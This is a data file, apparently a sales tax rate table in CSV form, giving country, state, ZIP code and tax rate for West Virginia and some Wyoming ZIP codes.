US-WV-25139,US,WV,25139,6,,,, US-WV-25140,US,WV,25140,6,,,, US-WV-25141,US,WV,25141,6,,,, US-WV-25142,US,WV,25142,6,,,, US-WV-25143,US,WV,25143,6,,,, US-WV-25148,US,WV,25148,6,,,, US-WV-25149,US,WV,25149,6,,,, US-WV-25152,US,WV,25152,6,,,, US-WV-25154,US,WV,25154,6,,,, US-WV-25156,US,WV,25156,6,,,, US-WV-25159,US,WV,25159,6,,,, US-WV-25160,US,WV,25160,6,,,, US-WV-25161,US,WV,25161,6,,,, US-WV-25162,US,WV,25162,6,,,, US-WV-25164,US,WV,25164,6,,,, US-WV-25165,US,WV,25165,6,,,, US-WV-25168,US,WV,25168,6,,,, US-WV-25169,US,WV,25169,6,,,, US-WV-25173,US,WV,25173,6,,,, US-WV-25174,US,WV,25174,6,,,, US-WV-25177,US,WV,25177,6,,,, US-WV-25180,US,WV,25180,6,,,, US-WV-25181,US,WV,25181,6,,,, US-WV-25183,US,WV,25183,6,,,, US-WV-25185,US,WV,25185,6,,,, US-WV-25186,US,WV,25186,6,,,, US-WV-25187,US,WV,25187,6,,,, US-WV-25193,US,WV,25193,6,,,, US-WV-25201,US,WV,25201,6,,,, US-WV-25202,US,WV,25202,6,,,, US-WV-25203,US,WV,25203,6,,,, US-WV-25204,US,WV,25204,6,,,, US-WV-25205,US,WV,25205,6,,,, US-WV-25206,US,WV,25206,6,,,, US-WV-25208,US,WV,25208,6,,,, US-WV-25209,US,WV,25209,6,,,, US-WV-25211,US,WV,25211,6,,,, US-WV-25213,US,WV,25213,6,,,, US-WV-25214,US,WV,25214,6,,,, US-WV-25231,US,WV,25231,6,,,, US-WV-25234,US,WV,25234,6,,,, US-WV-25235,US,WV,25235,6,,,, US-WV-25239,US,WV,25239,6,,,, US-WV-25241,US,WV,25241,6,,,, US-WV-25243,US,WV,25243,6,,,, US-WV-25244,US,WV,25244,6,,,, US-WV-25245,US,WV,25245,6,,,, US-WV-25247,US,WV,25247,6,,,, US-WV-25248,US,WV,25248,6,,,, US-WV-25251,US,WV,25251,6,,,, US-WV-25252,US,WV,25252,6,,,, US-WV-25253,US,WV,25253,6,,,, US-WV-25259,US,WV,25259,6,,,, US-WV-25260,US,WV,25260,6,,,, US-WV-25261,US,WV,25261,6,,,, US-WV-25262,US,WV,25262,6,,,, US-WV-25264,US,WV,25264,6,,,, US-WV-25265,US,WV,25265,6,,,, US-WV-25266,US,WV,25266,6,,,, US-WV-25267,US,WV,25267,6,,,, US-WV-25268,US,WV,25268,6,,,, US-WV-25270,US,WV,25270,6,,,, US-WV-25271,US,WV,25271,6,,,, US-WV-25275,US,WV,25275,6,,,, US-WV-25276,US,WV,25276,6,,,, US-WV-25285,US,WV,25285,6,,,, US-WV-25286,US,WV,25286,6,,,, US-WV-25287,US,WV,25287,6,,,, US-WV-25301,US,WV,25301,6.5,,,, US-WV-25302,US,WV,25302,6.5,,,, US-WV-25303,US,WV,25303,6,,,, US-WV-25304,US,WV,25304,6.5,,,, US-WV-25305,US,WV,25305,6.5,,,, US-WV-25306,US,WV,25306,6,,,, US-WV-25309,US,WV,25309,6,,,, US-WV-25311,US,WV,25311,6.5,,,, US-WV-25312,US,WV,25312,6,,,, US-WV-25313,US,WV,25313,6,,,, US-WV-25314,US,WV,25314,6.5,,,, US-WV-25315,US,WV,25315,6,,,, US-WV-25317,US,WV,25317,6.5,,,, US-WV-25320,US,WV,25320,6,,,, US-WV-25321,US,WV,25321,6.5,,,, US-WV-25322,US,WV,25322,6.5,,,, US-WV-25323,US,WV,25323,6.5,,,, US-WV-25324,US,WV,25324,6.5,,,, US-WV-25325,US,WV,25325,6.5,,,, US-WV-25326,US,WV,25326,6.5,,,, US-WV-25327,US,WV,25327,6.5,,,, US-WV-25328,US,WV,25328,6.5,,,, US-WV-25329,US,WV,25329,6.5,,,, US-WV-25330,US,WV,25330,6.5,,,, US-WV-25331,US,WV,25331,6.5,,,, US-WV-25332,US,WV,25332,6.5,,,, US-WV-25333,US,WV,25333,6.5,,,, US-WV-25334,US,WV,25334,6.5,,,, US-WV-25335,US,WV,25335,6.5,,,, US-WV-25336,US,WV,25336,6.5,,,, US-WV-25337,US,WV,25337,6.5,,,, US-WV-25338,US,WV,25338,6.5,,,, US-WV-25339,US,WV,25339,6.5,,,, US-WV-25350,US,WV,25350,6.5,,,, US-WV-25356,US,WV,25356,6,,,, US-WV-25357,US,WV,25357,6.5,,,, US-WV-25358,US,WV,25358,6.5,,,, US-WV-25360,US,WV,25360,6,,,, US-WV-25361,US,WV,25361,6.5,,,, US-WV-25362,US,WV,25362,6.5,,,, US-WV-25364,US,WV,25364,6.5,,,, US-WV-25365,US,WV,25365,6,,,, US-WV-25375,US,WV,25375,6.5,,,, US-WV-25387,US,WV,25387,6.5,,,, US-WV-25389,US,WV,25389,6.5,,,, US-WV-25392,US,WV,25392,6.5,,,, US-WV-25396,US,WV,25396,6.5,,,, US-WV-25401,US,WV,25401,6,,,, US-WV-25402,US,WV,25402,6,,,, US-WV-25403,US,WV,25403,6,,,, US-WV-25404,US,WV,25404,6,,,, US-WV-25405,US,WV,25405,6,,,, US-WV-25410,US,WV,25410,6,,,, US-WV-25411,US,WV,25411,6,,,, US-WV-25413,US,WV,25413,6,,,, US-WV-25414,US,WV,25414,6,,,, US-WV-25419,US,WV,25419,6,,,, US-WV-25420,US,WV,25420,6,,,, US-WV-25421,US,WV,25421,6,,,, US-WV-25422,US,WV,25422,6,,,, US-WV-25423,US,WV,25423,6,,,, US-WV-25425,US,WV,25425,6,,,, US-WV-25427,US,WV,25427,6,,,, US-WV-25428,US,WV,25428,6,,,, US-WV-25430,US,WV,25430,6,,,, US-WV-25431,US,WV,25431,6,,,, US-WV-25432,US,WV,25432,6,,,, US-WV-25434,US,WV,25434,6,,,, US-WV-25437,US,WV,25437,6,,,, US-WV-25438,US,WV,25438,6,,,, US-WV-25440,US,WV,25440,6,,,, US-WV-25441,US,WV,25441,6,,,, US-WV-25442,US,WV,25442,6,,,, US-WV-25443,US,WV,25443,6,,,, US-WV-25444,US,WV,25444,6,,,, US-WV-25446,US,WV,25446,6,,,, US-WV-25501,US,WV,25501,6,,,, US-WV-25502,US,WV,25502,6,,,, US-WV-25503,US,WV,25503,6,,,, US-WV-25504,US,WV,25504,6,,,, US-WV-25505,US,WV,25505,6,,,, US-WV-25506,US,WV,25506,6,,,, US-WV-25507,US,WV,25507,6,,,, US-WV-25508,US,WV,25508,6,,,, US-WV-25510,US,WV,25510,6,,,, US-WV-25511,US,WV,25511,6,,,, US-WV-25512,US,WV,25512,6,,,, US-WV-25514,US,WV,25514,6,,,, US-WV-25515,US,WV,25515,6,,,, US-WV-25517,US,WV,25517,6,,,, US-WV-25520,US,WV,25520,6,,,, US-WV-25521,US,WV,25521,6,,,, US-WV-25523,US,WV,25523,6,,,, US-WV-25524,US,WV,25524,6,,,, US-WV-25526,US,WV,25526,6,,,, US-WV-25529,US,WV,25529,6,,,, US-WV-25530,US,WV,25530,6,,,, US-WV-25534,US,WV,25534,6,,,, US-WV-25535,US,WV,25535,6,,,, US-WV-25537,US,WV,25537,6,,,, US-WV-25540,US,WV,25540,6,,,, US-WV-25541,US,WV,25541,6,,,, US-WV-25544,US,WV,25544,6,,,, US-WV-25545,US,WV,25545,6,,,, US-WV-25547,US,WV,25547,6,,,, US-WV-25550,US,WV,25550,6,,,, US-WV-25555,US,WV,25555,6,,,, US-WV-25557,US,WV,25557,6,,,, US-WV-25559,US,WV,25559,6,,,, US-WV-25560,US,WV,25560,6,,,, US-WV-25562,US,WV,25562,6,,,, US-WV-25564,US,WV,25564,6,,,, US-WV-25565,US,WV,25565,6,,,, US-WV-25567,US,WV,25567,6,,,, US-WV-25569,US,WV,25569,6,,,, US-WV-25570,US,WV,25570,6,,,, US-WV-25571,US,WV,25571,6,,,, US-WV-25572,US,WV,25572,6,,,, US-WV-25573,US,WV,25573,6,,,, US-WV-25601,US,WV,25601,6,,,, US-WV-25606,US,WV,25606,6,,,, US-WV-25607,US,WV,25607,6,,,, US-WV-25608,US,WV,25608,6,,,, US-WV-25611,US,WV,25611,6,,,, US-WV-25612,US,WV,25612,6,,,, US-WV-25614,US,WV,25614,6,,,, US-WV-25617,US,WV,25617,6,,,, US-WV-25621,US,WV,25621,6,,,, US-WV-25624,US,WV,25624,6,,,, US-WV-25625,US,WV,25625,6,,,, US-WV-25628,US,WV,25628,6,,,, US-WV-25630,US,WV,25630,6,,,, US-WV-25632,US,WV,25632,6,,,, US-WV-25634,US,WV,25634,6,,,, US-WV-25635,US,WV,25635,6,,,, US-WV-25637,US,WV,25637,6,,,, US-WV-25638,US,WV,25638,6,,,, US-WV-25639,US,WV,25639,6,,,, US-WV-25644,US,WV,25644,6,,,, US-WV-25646,US,WV,25646,6,,,, US-WV-25647,US,WV,25647,6,,,, US-WV-25649,US,WV,25649,6,,,, US-WV-25650,US,WV,25650,6,,,, US-WV-25651,US,WV,25651,6,,,, US-WV-25652,US,WV,25652,6,,,, US-WV-25653,US,WV,25653,6,,,, US-WV-25654,US,WV,25654,6,,,, US-WV-25661,US,WV,25661,6,,,, US-WV-25665,US,WV,25665,6,,,, US-WV-25666,US,WV,25666,6,,,, US-WV-25667,US,WV,25667,6,,,, US-WV-25669,US,WV,25669,6,,,, US-WV-25670,US,WV,25670,6,,,, US-WV-25671,US,WV,25671,6,,,, US-WV-25672,US,WV,25672,6,,,, US-WV-25674,US,WV,25674,6,,,, US-WV-25676,US,WV,25676,6,,,, US-WV-25678,US,WV,25678,6,,,, US-WV-25685,US,WV,25685,6,,,, US-WV-25686,US,WV,25686,6,,,, US-WV-25688,US,WV,25688,6,,,, US-WV-25690,US,WV,25690,6,,,, US-WV-25691,US,WV,25691,6,,,, US-WV-25692,US,WV,25692,6,,,, US-WV-25696,US,WV,25696,6,,,, US-WV-25699,US,WV,25699,6,,,, US-WV-25701,US,WV,25701,7,,,, US-WV-25702,US,WV,25702,7,,,, US-WV-25703,US,WV,25703,7,,,, US-WV-25704,US,WV,25704,7,,,, US-WV-25705,US,WV,25705,6,,,, US-WV-25706,US,WV,25706,7,,,, US-WV-25707,US,WV,25707,7,,,, US-WV-25708,US,WV,25708,7,,,, US-WV-25709,US,WV,25709,7,,,, US-WV-25710,US,WV,25710,7,,,, US-WV-25711,US,WV,25711,7,,,, US-WV-25712,US,WV,25712,7,,,, US-WV-25713,US,WV,25713,7,,,, US-WV-25714,US,WV,25714,7,,,, US-WV-25715,US,WV,25715,7,,,, US-WV-25716,US,WV,25716,7,,,, US-WV-25717,US,WV,25717,7,,,, US-WV-25718,US,WV,25718,7,,,, US-WV-25719,US,WV,25719,7,,,, US-WV-25720,US,WV,25720,7,,,, US-WV-25721,US,WV,25721,7,,,, US-WV-25722,US,WV,25722,7,,,, US-WV-25723,US,WV,25723,7,,,, US-WV-25724,US,WV,25724,7,,,, US-WV-25725,US,WV,25725,7,,,, US-WV-25726,US,WV,25726,7,,,, US-WV-25727,US,WV,25727,7,,,, US-WV-25728,US,WV,25728,7,,,, US-WV-25729,US,WV,25729,7,,,, US-WV-25755,US,WV,25755,7,,,, US-WV-25770,US,WV,25770,7,,,, US-WV-25771,US,WV,25771,7,,,, US-WV-25772,US,WV,25772,7,,,, US-WV-25773,US,WV,25773,7,,,, US-WV-25774,US,WV,25774,7,,,, US-WV-25775,US,WV,25775,7,,,, US-WV-25776,US,WV,25776,7,,,, US-WV-25777,US,WV,25777,7,,,, US-WV-25778,US,WV,25778,7,,,, US-WV-25779,US,WV,25779,7,,,, US-WV-25801,US,WV,25801,6,,,, US-WV-25802,US,WV,25802,6,,,, US-WV-25810,US,WV,25810,6,,,, US-WV-25811,US,WV,25811,6,,,, US-WV-25812,US,WV,25812,6,,,, US-WV-25813,US,WV,25813,6,,,, US-WV-25817,US,WV,25817,6,,,, US-WV-25818,US,WV,25818,6,,,, US-WV-25820,US,WV,25820,6,,,, US-WV-25823,US,WV,25823,6,,,, US-WV-25825,US,WV,25825,6,,,, US-WV-25826,US,WV,25826,6,,,, US-WV-25827,US,WV,25827,6,,,, US-WV-25831,US,WV,25831,6,,,, US-WV-25832,US,WV,25832,6,,,, US-WV-25833,US,WV,25833,6,,,, US-WV-25836,US,WV,25836,6,,,, US-WV-25837,US,WV,25837,6,,,, US-WV-25839,US,WV,25839,6,,,, US-WV-25840,US,WV,25840,6,,,, US-WV-25841,US,WV,25841,6,,,, US-WV-25843,US,WV,25843,6,,,, US-WV-25844,US,WV,25844,6,,,, US-WV-25845,US,WV,25845,6,,,, US-WV-25846,US,WV,25846,6,,,, US-WV-25848,US,WV,25848,6,,,, US-WV-25849,US,WV,25849,6,,,, US-WV-25851,US,WV,25851,6,,,, US-WV-25853,US,WV,25853,6,,,, US-WV-25854,US,WV,25854,6,,,, US-WV-25855,US,WV,25855,6,,,, US-WV-25857,US,WV,25857,6,,,, US-WV-25860,US,WV,25860,6,,,, US-WV-25862,US,WV,25862,6,,,, US-WV-25864,US,WV,25864,6,,,, US-WV-25865,US,WV,25865,6,,,, US-WV-25866,US,WV,25866,6,,,, US-WV-25868,US,WV,25868,6,,,, US-WV-25870,US,WV,25870,6,,,, US-WV-25871,US,WV,25871,6,,,, US-WV-25873,US,WV,25873,6,,,, US-WV-25875,US,WV,25875,6,,,, US-WV-25876,US,WV,25876,6,,,, US-WV-25878,US,WV,25878,6,,,, US-WV-25879,US,WV,25879,6,,,, US-WV-25880,US,WV,25880,6,,,, US-WV-25882,US,WV,25882,6,,,, US-WV-25888,US,WV,25888,6,,,, US-WV-25901,US,WV,25901,6,,,, US-WV-25902,US,WV,25902,6,,,, US-WV-25904,US,WV,25904,6,,,, US-WV-25906,US,WV,25906,6,,,, US-WV-25907,US,WV,25907,6,,,, US-WV-25908,US,WV,25908,6,,,, US-WV-25909,US,WV,25909,6,,,, US-WV-25911,US,WV,25911,6,,,, US-WV-25913,US,WV,25913,6,,,, US-WV-25915,US,WV,25915,6,,,, US-WV-25916,US,WV,25916,6,,,, US-WV-25917,US,WV,25917,6,,,, US-WV-25918,US,WV,25918,6,,,, US-WV-25919,US,WV,25919,6,,,, US-WV-25920,US,WV,25920,6,,,, US-WV-25921,US,WV,25921,6,,,, US-WV-25922,US,WV,25922,6,,,, US-WV-25927,US,WV,25927,6,,,, US-WV-25928,US,WV,25928,6,,,, US-WV-25932,US,WV,25932,6,,,, US-WV-25936,US,WV,25936,6,,,, US-WV-25938,US,WV,25938,6,,,, US-WV-25942,US,WV,25942,6,,,, US-WV-25943,US,WV,25943,6,,,, US-WV-25951,US,WV,25951,6,,,, US-WV-25958,US,WV,25958,6,,,, US-WV-25962,US,WV,25962,6,,,, US-WV-25966,US,WV,25966,6,,,, US-WV-25969,US,WV,25969,6,,,, US-WV-25971,US,WV,25971,6,,,, US-WV-25972,US,WV,25972,6,,,, US-WV-25976,US,WV,25976,6,,,, US-WV-25977,US,WV,25977,6,,,, US-WV-25978,US,WV,25978,6,,,, US-WV-25979,US,WV,25979,6,,,, US-WV-25981,US,WV,25981,6,,,, US-WV-25984,US,WV,25984,7,,,, US-WV-25985,US,WV,25985,6,,,, US-WV-25986,US,WV,25986,6,,,, US-WV-25989,US,WV,25989,6,,,, US-WV-26003,US,WV,26003,6.5,,,, US-WV-26030,US,WV,26030,6,,,, US-WV-26031,US,WV,26031,6,,,, US-WV-26032,US,WV,26032,6,,,, US-WV-26033,US,WV,26033,6,,,, US-WV-26034,US,WV,26034,6,,,, US-WV-26035,US,WV,26035,6,,,, US-WV-26036,US,WV,26036,6,,,, US-WV-26037,US,WV,26037,6,,,, US-WV-26038,US,WV,26038,6,,,, US-WV-26039,US,WV,26039,6,,,, US-WV-26040,US,WV,26040,6,,,, US-WV-26041,US,WV,26041,6,,,, US-WV-26047,US,WV,26047,6,,,, US-WV-26050,US,WV,26050,6,,,, US-WV-26055,US,WV,26055,6,,,, US-WV-26056,US,WV,26056,6,,,, US-WV-26058,US,WV,26058,6,,,, US-WV-26059,US,WV,26059,6,,,, US-WV-26060,US,WV,26060,6,,,, US-WV-26062,US,WV,26062,6,,,, US-WV-26070,US,WV,26070,6,,,, US-WV-26074,US,WV,26074,6,,,, US-WV-26075,US,WV,26075,6,,,, US-WV-26101,US,WV,26101,6,,,, US-WV-26102,US,WV,26102,6,,,, US-WV-26103,US,WV,26103,6,,,, US-WV-26104,US,WV,26104,6,,,, US-WV-26105,US,WV,26105,6,,,, US-WV-26106,US,WV,26106,6,,,, US-WV-26120,US,WV,26120,6,,,, US-WV-26121,US,WV,26121,6,,,, US-WV-26133,US,WV,26133,6,,,, US-WV-26134,US,WV,26134,6,,,, US-WV-26136,US,WV,26136,6,,,, US-WV-26137,US,WV,26137,6,,,, US-WV-26138,US,WV,26138,6,,,, US-WV-26141,US,WV,26141,6,,,, US-WV-26142,US,WV,26142,6,,,, US-WV-26143,US,WV,26143,6,,,, US-WV-26146,US,WV,26146,6,,,, US-WV-26147,US,WV,26147,6,,,, US-WV-26148,US,WV,26148,6,,,, US-WV-26149,US,WV,26149,6,,,, US-WV-26150,US,WV,26150,6,,,, US-WV-26151,US,WV,26151,6,,,, US-WV-26152,US,WV,26152,6,,,, US-WV-26155,US,WV,26155,6,,,, US-WV-26159,US,WV,26159,6,,,, US-WV-26160,US,WV,26160,6,,,, US-WV-26161,US,WV,26161,6,,,, US-WV-26162,US,WV,26162,6,,,, US-WV-26164,US,WV,26164,6,,,, US-WV-26167,US,WV,26167,6,,,, US-WV-26169,US,WV,26169,6,,,, US-WV-26170,US,WV,26170,6,,,, US-WV-26175,US,WV,26175,6,,,, US-WV-26178,US,WV,26178,6,,,, US-WV-26180,US,WV,26180,6,,,, US-WV-26181,US,WV,26181,6,,,, US-WV-26184,US,WV,26184,6,,,, US-WV-26187,US,WV,26187,7,,,, US-WV-26201,US,WV,26201,6,,,, US-WV-26202,US,WV,26202,6,,,, US-WV-26203,US,WV,26203,6,,,, US-WV-26205,US,WV,26205,6,,,, US-WV-26206,US,WV,26206,6,,,, US-WV-26208,US,WV,26208,6,,,, US-WV-26209,US,WV,26209,6,,,, US-WV-26210,US,WV,26210,6,,,, US-WV-26215,US,WV,26215,6,,,, US-WV-26217,US,WV,26217,6,,,, US-WV-26218,US,WV,26218,6,,,, US-WV-26219,US,WV,26219,6,,,, US-WV-26222,US,WV,26222,6,,,, US-WV-26224,US,WV,26224,6,,,, US-WV-26228,US,WV,26228,6,,,, US-WV-26229,US,WV,26229,6,,,, US-WV-26230,US,WV,26230,6,,,, US-WV-26234,US,WV,26234,6,,,, US-WV-26236,US,WV,26236,6,,,, US-WV-26237,US,WV,26237,6,,,, US-WV-26238,US,WV,26238,6,,,, US-WV-26241,US,WV,26241,6,,,, US-WV-26250,US,WV,26250,6,,,, US-WV-26253,US,WV,26253,6,,,, US-WV-26254,US,WV,26254,6,,,, US-WV-26257,US,WV,26257,6,,,, US-WV-26259,US,WV,26259,6,,,, US-WV-26260,US,WV,26260,6,,,, US-WV-26261,US,WV,26261,6,,,, US-WV-26263,US,WV,26263,6,,,, US-WV-26264,US,WV,26264,6,,,, US-WV-26266,US,WV,26266,6,,,, US-WV-26267,US,WV,26267,6,,,, US-WV-26268,US,WV,26268,6,,,, US-WV-26269,US,WV,26269,6,,,, US-WV-26270,US,WV,26270,6,,,, US-WV-26271,US,WV,26271,6,,,, US-WV-26273,US,WV,26273,6,,,, US-WV-26275,US,WV,26275,6,,,, US-WV-26276,US,WV,26276,6,,,, US-WV-26278,US,WV,26278,6,,,, US-WV-26280,US,WV,26280,6,,,, US-WV-26282,US,WV,26282,6,,,, US-WV-26283,US,WV,26283,6,,,, US-WV-26285,US,WV,26285,6,,,, US-WV-26287,US,WV,26287,6,,,, US-WV-26288,US,WV,26288,6,,,, US-WV-26289,US,WV,26289,6,,,, US-WV-26291,US,WV,26291,6,,,, US-WV-26292,US,WV,26292,6,,,, US-WV-26293,US,WV,26293,6,,,, US-WV-26294,US,WV,26294,6,,,, US-WV-26296,US,WV,26296,6,,,, US-WV-26298,US,WV,26298,6,,,, US-WV-26301,US,WV,26301,6,,,, US-WV-26302,US,WV,26302,6,,,, US-WV-26306,US,WV,26306,6,,,, US-WV-26320,US,WV,26320,6,,,, US-WV-26321,US,WV,26321,6,,,, US-WV-26323,US,WV,26323,6,,,, US-WV-26325,US,WV,26325,6,,,, US-WV-26327,US,WV,26327,6,,,, US-WV-26330,US,WV,26330,6,,,, US-WV-26335,US,WV,26335,6,,,, US-WV-26337,US,WV,26337,6,,,, US-WV-26338,US,WV,26338,6,,,, US-WV-26339,US,WV,26339,6,,,, US-WV-26342,US,WV,26342,6,,,, US-WV-26343,US,WV,26343,6,,,, US-WV-26346,US,WV,26346,6,,,, US-WV-26347,US,WV,26347,6,,,, US-WV-26348,US,WV,26348,6,,,, US-WV-26349,US,WV,26349,6,,,, US-WV-26351,US,WV,26351,6,,,, US-WV-26354,US,WV,26354,6,,,, US-WV-26361,US,WV,26361,6,,,, US-WV-26362,US,WV,26362,7,,,, US-WV-26366,US,WV,26366,6,,,, US-WV-26369,US,WV,26369,6,,,, US-WV-26372,US,WV,26372,6,,,, US-WV-26374,US,WV,26374,6,,,, US-WV-26376,US,WV,26376,6,,,, US-WV-26377,US,WV,26377,6,,,, US-WV-26378,US,WV,26378,6,,,, US-WV-26384,US,WV,26384,6,,,, US-WV-26385,US,WV,26385,6,,,, US-WV-26386,US,WV,26386,6,,,, US-WV-26404,US,WV,26404,6,,,, US-WV-26405,US,WV,26405,6,,,, US-WV-26408,US,WV,26408,6,,,, US-WV-26410,US,WV,26410,6,,,, US-WV-26411,US,WV,26411,6,,,, US-WV-26412,US,WV,26412,6,,,, US-WV-26415,US,WV,26415,6,,,, US-WV-26416,US,WV,26416,6,,,, US-WV-26419,US,WV,26419,6,,,, US-WV-26421,US,WV,26421,6,,,, US-WV-26422,US,WV,26422,6,,,, US-WV-26424,US,WV,26424,6,,,, US-WV-26425,US,WV,26425,6,,,, US-WV-26426,US,WV,26426,6,,,, US-WV-26430,US,WV,26430,6,,,, US-WV-26431,US,WV,26431,6,,,, US-WV-26434,US,WV,26434,6,,,, US-WV-26435,US,WV,26435,6,,,, US-WV-26436,US,WV,26436,6,,,, US-WV-26437,US,WV,26437,6,,,, US-WV-26438,US,WV,26438,6,,,, US-WV-26440,US,WV,26440,6,,,, US-WV-26443,US,WV,26443,6,,,, US-WV-26444,US,WV,26444,6,,,, US-WV-26447,US,WV,26447,6,,,, US-WV-26448,US,WV,26448,6,,,, US-WV-26451,US,WV,26451,6,,,, US-WV-26452,US,WV,26452,6,,,, US-WV-26456,US,WV,26456,6,,,, US-WV-26463,US,WV,26463,6,,,, US-WV-26501,US,WV,26501,6,,,, US-WV-26502,US,WV,26502,6,,,, US-WV-26504,US,WV,26504,6,,,, US-WV-26505,US,WV,26505,6,,,, US-WV-26506,US,WV,26506,6,,,, US-WV-26507,US,WV,26507,6,,,, US-WV-26508,US,WV,26508,6,,,, US-WV-26519,US,WV,26519,6,,,, US-WV-26520,US,WV,26520,6,,,, US-WV-26521,US,WV,26521,6,,,, US-WV-26524,US,WV,26524,6,,,, US-WV-26525,US,WV,26525,6,,,, US-WV-26527,US,WV,26527,6,,,, US-WV-26531,US,WV,26531,6,,,, US-WV-26534,US,WV,26534,6,,,, US-WV-26537,US,WV,26537,6,,,, US-WV-26541,US,WV,26541,6,,,, US-WV-26542,US,WV,26542,6,,,, US-WV-26543,US,WV,26543,6,,,, US-WV-26544,US,WV,26544,6,,,, US-WV-26546,US,WV,26546,6,,,, US-WV-26547,US,WV,26547,6,,,, US-WV-26554,US,WV,26554,6,,,, US-WV-26555,US,WV,26555,6,,,, US-WV-26559,US,WV,26559,6,,,, US-WV-26560,US,WV,26560,6,,,, US-WV-26561,US,WV,26561,6,,,, US-WV-26562,US,WV,26562,6,,,, US-WV-26563,US,WV,26563,6,,,, US-WV-26566,US,WV,26566,6,,,, US-WV-26568,US,WV,26568,6,,,, US-WV-26570,US,WV,26570,6,,,, US-WV-26571,US,WV,26571,6,,,, US-WV-26572,US,WV,26572,6,,,, US-WV-26574,US,WV,26574,6,,,, US-WV-26575,US,WV,26575,6,,,, US-WV-26576,US,WV,26576,6,,,, US-WV-26578,US,WV,26578,6,,,, US-WV-26581,US,WV,26581,6,,,, US-WV-26582,US,WV,26582,6,,,, US-WV-26585,US,WV,26585,6,,,, US-WV-26586,US,WV,26586,6,,,, US-WV-26587,US,WV,26587,6,,,, US-WV-26588,US,WV,26588,6,,,, US-WV-26590,US,WV,26590,6,,,, US-WV-26591,US,WV,26591,6,,,, US-WV-26601,US,WV,26601,6,,,, US-WV-26610,US,WV,26610,6,,,, US-WV-26611,US,WV,26611,6,,,, US-WV-26615,US,WV,26615,6,,,, US-WV-26617,US,WV,26617,6,,,, US-WV-26619,US,WV,26619,6,,,, US-WV-26621,US,WV,26621,6,,,, US-WV-26623,US,WV,26623,6,,,, US-WV-26624,US,WV,26624,6,,,, US-WV-26627,US,WV,26627,6,,,, US-WV-26629,US,WV,26629,6,,,, US-WV-26631,US,WV,26631,6,,,, US-WV-26636,US,WV,26636,6,,,, US-WV-26638,US,WV,26638,6,,,, US-WV-26651,US,WV,26651,6,,,, US-WV-26656,US,WV,26656,6,,,, US-WV-26660,US,WV,26660,6,,,, US-WV-26662,US,WV,26662,6,,,, US-WV-26667,US,WV,26667,6,,,, US-WV-26671,US,WV,26671,6,,,, US-WV-26675,US,WV,26675,6,,,, US-WV-26676,US,WV,26676,6,,,, US-WV-26678,US,WV,26678,6,,,, US-WV-26679,US,WV,26679,6,,,, US-WV-26680,US,WV,26680,6,,,, US-WV-26681,US,WV,26681,6,,,, US-WV-26684,US,WV,26684,6,,,, US-WV-26690,US,WV,26690,6,,,, US-WV-26691,US,WV,26691,6,,,, US-WV-26704,US,WV,26704,6,,,, US-WV-26705,US,WV,26705,6,,,, US-WV-26707,US,WV,26707,6,,,, US-WV-26710,US,WV,26710,6,,,, US-WV-26711,US,WV,26711,6,,,, US-WV-26714,US,WV,26714,6,,,, US-WV-26716,US,WV,26716,6,,,, US-WV-26717,US,WV,26717,6,,,, US-WV-26719,US,WV,26719,6,,,, US-WV-26720,US,WV,26720,6,,,, US-WV-26722,US,WV,26722,6,,,, US-WV-26726,US,WV,26726,6,,,, US-WV-26731,US,WV,26731,6,,,, US-WV-26739,US,WV,26739,6,,,, US-WV-26743,US,WV,26743,6,,,, US-WV-26750,US,WV,26750,6,,,, US-WV-26753,US,WV,26753,6,,,, US-WV-26755,US,WV,26755,6,,,, US-WV-26757,US,WV,26757,6,,,, US-WV-26761,US,WV,26761,6,,,, US-WV-26763,US,WV,26763,6,,,, US-WV-26764,US,WV,26764,6,,,, US-WV-26767,US,WV,26767,6,,,, US-WV-26801,US,WV,26801,6,,,, US-WV-26802,US,WV,26802,6,,,, US-WV-26804,US,WV,26804,6,,,, US-WV-26807,US,WV,26807,6,,,, US-WV-26808,US,WV,26808,6,,,, US-WV-26810,US,WV,26810,6,,,, US-WV-26812,US,WV,26812,6,,,, US-WV-26814,US,WV,26814,6,,,, US-WV-26815,US,WV,26815,6,,,, US-WV-26817,US,WV,26817,6,,,, US-WV-26818,US,WV,26818,6,,,, US-WV-26823,US,WV,26823,6,,,, US-WV-26833,US,WV,26833,6,,,, US-WV-26836,US,WV,26836,6,,,, US-WV-26838,US,WV,26838,6,,,, US-WV-26845,US,WV,26845,6,,,, US-WV-26847,US,WV,26847,6,,,, US-WV-26851,US,WV,26851,6,,,, US-WV-26852,US,WV,26852,6,,,, US-WV-26855,US,WV,26855,6,,,, US-WV-26865,US,WV,26865,6,,,, US-WV-26866,US,WV,26866,6,,,, US-WV-26884,US,WV,26884,6,,,, US-WV-26886,US,WV,26886,6,,,, US-WY-82001,US,WY,82001,6,,,, US-WY-82002,US,WY,82002,6,,,, US-WY-82003,US,WY,82003,6,,,, US-WY-82005,US,WY,82005,6,,,, US-WY-82006,US,WY,82006,6,,,, US-WY-82007,US,WY,82007,6,,,, US-WY-82008,US,WY,82008,6,,,, US-WY-82009,US,WY,82009,6,,,, US-WY-82010,US,WY,82010,6,,,, US-WY-82050,US,WY,82050,6,,,, US-WY-82051,US,WY,82051,6,,,, US-WY-82052,US,WY,82052,6,,,, US-WY-82053,US,WY,82053,6,,,, US-WY-82054,US,WY,82054,6,,,, US-WY-82055,US,WY,82055,6,,,, US-WY-82058,US,WY,82058,6,,,, US-WY-82059,US,WY,82059,6,,,, US-WY-82060,US,WY,82060,6,,,, US-WY-82061,US,WY,82061,6,,,, US-WY-82063,US,WY,82063,6,,,, US-WY-82070,US,WY,82070,6,,,, US-WY-82071,US,WY,82071,6,,,, US-WY-82072,US,WY,82072,6,,,, US-WY-82073,US,WY,82073,6,,,, US-WY-82081,US,WY,82081,6,,,, US-WY-82082,US,WY,82082,6,,,, US-WY-82083,US,WY,82083,6,,,, US-WY-82084,US,WY,82084,6,,,, US-WY-82190,US,WY,82190,4,,,, US-WY-82201,US,WY,82201,6,,,, US-WY-82210,US,WY,82210,6,,,, US-WY-82212,US,WY,82212,5.25,,,, US-WY-82213,US,WY,82213,6,,,, US-WY-82214,US,WY,82214,6,,,, US-WY-82215,US,WY,82215,6,,,, US-WY-82217,US,WY,82217,5.25,,,, US-WY-82218,US,WY,82218,5.25,,,, US-WY-82219,US,WY,82219,5.25,,,, US-WY-82221,US,WY,82221,5.25,,,, US-WY-82222,US,WY,82222,6,,,, US-WY-82223,US,WY,82223,5.25,,,, US-WY-82224,US,WY,82224,6,,,, US-WY-82225,US,WY,82225,6,,,, US-WY-82227,US,WY,82227,6,,,, US-WY-82229,US,WY,82229,6,,,, US-WY-82240,US,WY,82240,5.25,,,, 